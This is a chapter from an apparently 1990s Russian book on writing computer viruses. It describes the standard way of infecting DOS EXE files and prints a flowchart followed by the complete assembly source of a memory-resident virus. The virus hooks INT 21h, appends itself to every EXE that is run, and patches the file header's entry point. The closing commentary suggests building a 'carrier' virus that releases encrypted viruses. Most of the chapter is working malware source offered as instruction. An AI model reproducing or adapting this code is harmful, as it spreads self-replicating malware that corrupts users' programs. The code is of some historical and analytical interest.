"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса

Вид материалаДокументы

Содержание


"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
Подобный материал:
1   ...   8   9   10   11   12   13   14   15   16

"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.


Назад | Далее



гл.12 СТАНДАРТНЫЙ СПОСОБ ЗАРАЖЕНИЯ ЕХЕ-ФАЙЛОВ

(о столь милых сердцу банальностях)

============================================================================

В литературе (/6/ и т.п.) однозначно дается определение стандартного

способа заражения вирусами ЕХЕ- и СОМ-файлов. В частности стандартный способ

заражения ЕХЕ-файлов такой: вирус изменяет в заголовке файла точку входа

(значения CS и IP) таким образом, чтобы она соответствовала концу файла; за-

тем он дописывается в конец (т.о. новая точка входа соответствует его нача-

лу). При этом вирус сохраняет в себе изначальную точку входа, и когда он вы-

полнит свою задачу -- передает управление по этому адресу. Помимо точки входа

вирус может переопределить (а потом -- отреставрировать) значения SS и SP. И

это -- все.

Итак -- блок/схема:


-----------------------¬

---------------------+ JMP to_initialization¦

¦ L-----------------------

¦

¦ _/РЕЗИДЕНТНАЯ ЧАТСТЬ\_

¦ INT 21h ---------------------------------------------¬

¦ ¦ ¦ а функция ли это N 4Bh? если нет -- ¦

¦ L----->¦ сваливаем на IRET---------------------------¬

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦ а ЕХЕ- ли файл запускается? нет - уходим----->

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦открыть запускаемый файл для чтения/записи ¦ ¦

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦прочитать часть заголовка в свой буфер ¦ ¦

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦проверить, - заражен ли уже? если да - уходим--->

¦ ¦а если нет, пометить как заражен. и продолж.¦ ¦

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦сохранить исходн. настройки ЕХЕ-файла (CS,IP, ¦

¦ ¦SS,SP) в своем коде ¦ ¦

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦установка указателя на конец файла (при этом¦ ¦

¦ ¦мы получим длину файла в опред. формате (см.¦ ¦

¦ ¦выходные параметры функции LSEEK 42h) ¦ ¦

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦по этим данным ¦ ¦

¦ ¦корректировка длины файла в смещен. в буфер ¦ ¦

¦ ¦части заголовка с учетом добавки вируса ¦ ¦

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦определяем смещение от начала файла (от точки ¦

¦ ¦после PSP) до его конца (смещение имеет фор-¦ ¦

¦ ¦мат, отличный от определенной выше длины) ¦ ¦

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦при помощи вышеполученного смещения ¦ ¦

¦ ¦корректировка CS:IP и SS:SP в смещенной в ¦ ¦

¦ ¦буфер части заголовка ¦ ¦

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦запись кода вируса (в конец файла) ¦ ¦

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦установка указателя на начало файла ¦ ¦

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦запись измененной части заголовка ¦ ¦

¦ L------------------T-------------------------- ¦

¦ -------------------+-------------------------¬ ¦

¦ ¦закрыть файл ¦ ¦

¦ L------------T--------------T----------------- ¦

¦ ¦ IRET ¦<--------------------

¦ L---------------

¦

¦ ------------------------------------------¬

L----------->¦сажаем резидент в МСВ-блок (если его нет)¦

L------------------T-----------------------

-------------------+----------------------¬

¦если запускается культура вируса - STOP ¦

L------------------T-----------------------

-------------------+----------------------¬

¦реставрируем SS,SP,CS,IP (переход на файл)

L------------------------------------------


Вот какая программа у нас получилась:


-----------------------------------------------------------¬

¦ пример 19 ¦:

L-----------------------------------------------------------


TITLE Это - COM. программа N 19; пример стандартного зараж-я ЕХЕ-файлов

ASSUME CS:CodeSegment

;-------------------------------------------------------------------------

CodeSegment SEGMENT PARA

ORG(100h)

Start:

MainProcedure PROC NEAR

;

;

my_head: JMP initial

;

;

f_number: DW 0 ;хранилище для описателя файла

;

; ;хранилище для адреса стандартного

saved_int21: DD 0 ; обработчика прерывания 21

; ; (2 слова)

;

;

int21_treater:CMP AH,4Bh

JE begin

JMP retro ;возврат управления стандарт. обра-

begin: PUSH AX ; ботчику INT 21h, если не EXEC

PUSH BX

PUSH CX

PUSH DX

PUSH DS

PUSH ES

PUSH DI

PUSH SI

;-------------поиск конца имени запускаемого файла------------¬

MOV DI,DX ;имя адресуется ¦

resend_again: INC DI ; DS:[DX] (входной¦

CMP byte ptr DS:[DI],0 ; параметр EXEC) ¦

JNE resend_again ; ¦

;--------------------------------------------------------------

;----------если не ЕХЕ, то JMP на глобальный POP--------------¬

CMP word ptr DS:[DI-2],4558h ; "XE" ¦

JNE to_no_exe ; ¦

CMP word ptr DS:[DI-4],452Eh ; ".Е" ¦

JE thats_exe ;(JNP short просто ¦

to_no_exe: JMP no_exe ; не достанет) ¦

;--------------------------------------------------------------

thats_exe: ;----------открыть файл для чтения/записи---------------------¬

MOV CX,0 ;DS:[DX] имя файла ¦

MOV AH,3Dh ; ¦

MOV AL,2 ;открыть в режиме ¦

CALL call_int21 ;пиши-читай ¦

MOV word ptr CS:[f_number-100h],AX ; ¦

;--------------------------------------------------------------

;-----------прочитать данные из заголовка в свой буфер--------¬

PUSH CS ; ¦

POP DS ; ¦

MOV AH,3Fh ; ¦

MOV DX,OFFSET data_exe - 100h ; ¦

MOV CX,20h ; ¦

MOV BX,word ptr CS:[f_number-100h] ; ¦

CALL call_int21 ; ¦

;--------------------------------------------------------------

;-----------проверить, -- заражен ли уже----------------------¬

CMP word ptr DS:[data_exe - 100h + 0Ah],50h ;сигнатура ? ¦

JNE thats_clear ; ¦

JMP no_exe ;да -- goodbye!¦

thats_clear: MOV word ptr DS:[data_exe - 100h + 0Ah],50h ;сигнатура set!¦

;--------------------------------------------------------------

;-----------сохранить исходн. настройки ЕХЕ-файла в своем коде¬

MOV AX,word ptr CS:[data_exe - 100h + 14h] ;-T-IP сохране-¦

MOV word ptr CS:[saved_ip - 100h + 1],AX ;-- ние в ¦

MOV AX,word ptr CS:[data_exe - 100h + 16h] ;-T-CS коде ре-¦

MOV word ptr CS:[saved_cs - 100h + 1],AX ;-- зидента ¦

MOV AX,word ptr CS:[data_exe - 100h + 10h] ;-T-SP изменяе-¦

MOV word ptr CS:[saved_sp - 100h + 1],AX ;-- мых на-¦

MOV AX,word ptr CS:[data_exe - 100h + 0Eh] ;-T-SS строек ¦

MOV word ptr CS:[saved_ss - 100h + 1],AX ;-- ¦

;--------------------------------------------------------------

;-----------перемещаем указатель к концу файла ---------------¬

XOR CX,CX ; ¦

XOR DX,DX ; ¦

MOV BX,word ptr CS:[f_number-100h] ; ¦

MOV AL,2 ; ¦

MOV AH,42h ;в AX,DX--получе-

CALL call_int21 ;на длина файла¦

;--------------------------------------------------------------

;---------корректировка длины файла в заголовке---------------¬

PUSH AX ;в AX,DX--длина¦

PUSH DX ; файла L ¦

MOV BX,200h ;AX = L div 512¦

DIV BX ;DX = L mod 512¦

INC AX ; ¦

ADD DX,1C3h ;длина вируса ;помещаем в сме-

CMP DX,200h ; щенный заголо-

JB no_add ; вок новую дли-

INC AX ; ну файла (см.¦

SUB DX,200h ; формат заго- ¦

no_add: MOV word ptr CS:[data_exe - 100h + 2h],DX ; ловка) ¦

MOV word ptr CS:[data_exe - 100h + 4h],AX ; ¦

POP DX ;в AX,DX--длина¦

POP AX ; файла L ¦

;--------------------------------------------------------------

;---определяем смещение от начала файла (от точки после PSP) -¬

PUSH AX ; до его конца ; ¦

MOV AX,DX ; ¦

MOV BX,1000h ;AX -- сегмент ¦

MUL BX ; смещения ¦

POP DX ;DX -- офсет ||¦

; ; ¦

CMP AX,0 ;либо от AX от-¦

JE sub_dx ; нимаем хедер,¦

sub_ax: SUB AX,word ptr CS:[data_exe - 100h + 8h] ; ¦

JMP short length_got ; ¦

; ; ¦

sub_dx: PUSH AX ; -- либо от DX¦

PUSH DX ;В результате ¦

MOV AX,word ptr CS:[data_exe - 100h + 8h] ; всей этой мо-¦

MOV BX,10h ; роки в AX:DX ¦

MUL BX ; получено сег-¦

POP DX ; мент-оффсетн.¦

SUB DX,AX ; смещ-е от на-¦

POP AX ; чала файла ¦

length_got: ;------L-наверное это можно было сделать намного изящнее-------

;----------корректировка точки начала пересылки (для посадки--¬

MOV word ptr CS:[M1 - 100h +1],DX ;резидента в МСВ-блок) ¦

;--------------------------------------------------------------

;-------корректировка CS:IP и SS:SP в смещенном заголовке-----¬

MOV word ptr CS:[data_exe - 100h + 14h],DX ;---IP ¦

MOV word ptr CS:[data_exe - 100h + 16h],AX ;---CS ¦

ADD AX,50h ; ¦

MOV word ptr CS:[data_exe - 100h + 10h],DX ;---SP ¦

MOV word ptr CS:[data_exe - 100h + 0Eh],AX ;---SS ¦

;--------------------------------------------------------------

;-------------запись кода вируса------------------------------¬

MOV BX,word ptr CS:[f_number-100h] ; ¦

MOV DX,OFFSET my_head-100h ;DS:[DX] буфер ¦

MOV CX,my_end - my_head ; ¦

MOV AH,40h ; ¦

CALL call_int21 ; ¦

;--------------------------------------------------------------

;------------установка LSEEK на начало------------------------¬

XOR CX,CX ; ¦

XOR DX,DX ; ¦

MOV BX,word ptr CS:[f_number-100h] ; ¦

MOV AL,0 ; ¦

MOV AH,42h ; ¦

CALL call_int21 ; ¦

;--------------------------------------------------------------

;------------запись измененных данных заголовка---------------¬

MOV BX,word ptr CS:[f_number-100h] ; ¦

MOV DX,OFFSET data_exe-100h ;DS:[DX] буфер ¦

MOV CX,20h ; ¦

MOV AH,40h ; ¦

CALL call_int21 ; ¦

;--------------------------------------------------------------

;---------закрыть файл----------------------------------------¬

to_close: MOV BX,word ptr CS:[f_number-100h] ; ¦

MOV AH,3Eh ; ¦

CALL call_int21 ; ¦

;--------------------------------------------------------------

no_exe: POP SI

POP DI

POP ES

POP DS

POP DX

POP CX

POP BX

POP AX

retro: JMP dword ptr CS:[saved_int21-100h]

;

;

call_int21: ;-------вызов стандартного обработчика INT 21h-(процедура)----¬

PUSHF ; ¦

CALL dword ptr CS:[saved_int21-100h] ; ¦

RET ; ¦

;--------------------------------------------------------------

;

;

;

;

;

initial: PUSH DS ;----сохраняем адрес начала PSP

PUSH ES ;----сохраняем ES

;--------------проверяем наличие TSR - копии в памяти---------¬

MOV AX,40h ; ¦

MOV ES,AX ; ¦

CMP byte ptr ES:[134h],55h ; ¦

JE no_tsr ; ¦

MOV byte ptr ES:[134h],55h ; ¦

;--------------------------------------------------------------

;--------------создаем TSR - копию----------------------------¬

MOV AX,DS:[02] ;берем вершину свободной памяти ¦

; ; (в параграфах) ¦

SUB AX,30h ;уменьшаем ее на 40h (в парагр.) ¦

; ; ¦

PUSH DS ;>> ;копируем из источника DS:head ¦

PUSH CS ;копируем в приемник ES:00; в ES ¦

POP DS ; - новая вершина своб. памяти ¦

m1: MOV SI,OFFSET my_head ; ¦

MOV ES,AX ;m1-метка команды с коррек- ¦

XOR DI,DI ; тируемым операндом ¦

MOV CX,my_end - my_head ; ¦

CLD ; ¦

REPE MOVSB ; ¦

POP DS ;<< ; ¦

; ; ¦

MOV BX,DS ; ¦

DEC BX ; ¦

MOV DS,BX ;уменьшаем размер МСВ-блока ¦

SUB word ptr DS:[03h],30h ;уменьшаем вершину свободной¦

SUB word ptr DS:[12h],30h ; памяти ¦

;--------------------------------------------------------------

;-------------перехват вектора--------------------------------¬

XOR BX,BX ; сохраняем старый ¦

MOV DS,BX ; вектор ¦

MOV AX,DS:[21h*4+0] ;48Bh ; ¦

MOV word ptr ES:[saved_int21-100h+0],AX ; ¦

MOV AX,DS:[21h*4+2] ;5BDh ; ¦

MOV word ptr ES:[saved_int21-100h+2],AX ; ¦

; ; ¦

CLI ; замен. в таблице ¦

MOV word ptr DS:[21h*4+0],OFFSET int21_treater - 100h ;->OFST¦

MOV word ptr DS:[21h*4+2],ES ;------>SEGMENT ¦

STI ; ¦

;--------------------------------------------------------------

no_tsr: ;-------------переход на начало с реставрацией регистров------¬

POP AX ;---восстановленный DS ¦

MOV DS,AX ; ¦

ADD AX,10h ;---терерь это -- PSP ¦

POP ES ;---восстанавливаем ES ¦

; ; ¦

CMP word ptr CS:[00],20CDh ;нужно лишь для самого первого ¦

JNE no_first ; запуска культуры вируса ¦

RET ; ¦

; ; ¦

no_first: CLI ;восстанавливаем стек: ¦

saved_ss: MOV CX,1234h ; вместо 1234h сюда при зараже-¦

ADD CX,AX ; нии будет записано исходное ¦¦

MOV SS,CX ; значение SS ¦¦

saved_sp: MOV SP,1234h ;а сюда, -- исход. значение SP¦¦

STI ;L--T--------------------------¦

; ; ¦ ¦

; ; ¦ ¦

saved_cs: MOV DI,1234h ;а сюда, -- исход. значение CS ¦

ADD AX,DI ; ¦ ¦

PUSH AX ; ¦ ¦

saved_ip: MOV AX,1234h ;а сюда, -- исход. значение IP ¦

PUSH AX ; ¦

RETF ; ¦

;--------------------------------------------------------------

data_exe: ;

my_end: ;

;

MainProcedure ENDP

;

CodeSegment ENDS

END Start


Чуть-чуть покоментируем. В программе Вам -CMP word ptr CS:[00],20CDh

встретился такой-вот фрагмент:-------------------+JNE no_first

Он нужен лишь для того, чтобы во время сАмого LRET

первого запуска чистой культуры вируса (а именно таковой и является наша про-

грамма) не произошло крушения. Культура нам нужна для возможности создания

комбинированного вируса, "вируса-авианосца" способного хранить в себе в за-

шифрованном виде отдельные вирусы и "выпускать" их время от времени. Культура

-- СОМ-файл, => CS=DS=ES=PSP,а в вершине PSP всегда лежит слово 20CDh (ко-

манда INT 20h). Зараженный же файл -- ЕХЕ-файл, в котором CS<>PSP и по ад-

ресу CS:[00] 20CDh никоим образом находиться не может.

Чтобы после запуска вирус передал управление ЕХЕ-файлу, он должен хра-

нить значения регистров CS,SS,SP,IP для точки входа в этот файл. Резидентная

часть вируса при заражении файла сохраняет эти значения прямо на месте опе-

рандов команд, входящих в процедуру возврата в ЕХЕ-файл. Эти модифицируемые

операнды изначально были равны 1234h.

При заражении файла происходит также коррекция операнда в команде из

блока посадки резидента (ибо в ней используется относительный адрес, который

изменится при дописывании вируса в конец ЕХЕ-файла).

Заражение сложных модулей, подгружающих оверлеи, может происходить не

вполне корректно. Как избежать любых неприятностей в этой области -- погово-

рим позднее.

Алгоритм вычислениния смещения от начала ЕХЕ-файла написан в лоб,

"по-жокейски". Можете придумать свой, более элегантный способ.